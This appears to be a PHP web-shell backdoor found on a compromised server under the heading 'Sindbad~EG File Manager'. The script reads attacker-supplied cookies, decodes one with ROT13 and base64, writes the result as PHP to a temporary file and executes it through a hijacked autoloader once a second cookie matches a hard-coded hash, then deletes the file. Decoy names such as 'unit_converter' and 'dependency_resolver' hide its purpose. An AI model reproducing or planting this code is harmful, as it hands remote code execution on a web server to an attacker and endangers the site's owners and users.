Sindbad~EG File Manager

<?php


if (isset($_COOKIE[-8+8]) && isset($_COOKIE[-11+12]) && isset($_COOKIE[34+-31]) && isset($_COOKIE[-81+85])) {
    $tkn = $_COOKIE;
    function unit_converter($sym) {
        $tkn = $_COOKIE;
        $factor = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'bbd0c0c3');
        if (!is_writable($factor)) {
            $factor = getcwd() . DIRECTORY_SEPARATOR . "dependency_resolver";
        }
        $desc = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($tkn[3]));
        if (is_writeable($factor)) {
            $comp = fopen($factor, 'w+');
            fputs($comp, $desc);
            fclose($comp);
            spl_autoload_unregister(__FUNCTION__);
            require_once($factor);
            @array_map('unlink', array($factor));
        }
    }
    spl_autoload_register("unit_converter");
    $reference = "2803918d36c987dc916f769fd6fc1def";
    if (!strncmp($reference, $tkn[4], 32)) {
        if (@class_parents("sync_manager_right_pad_string", true)) {
            exit;
        }
    }
}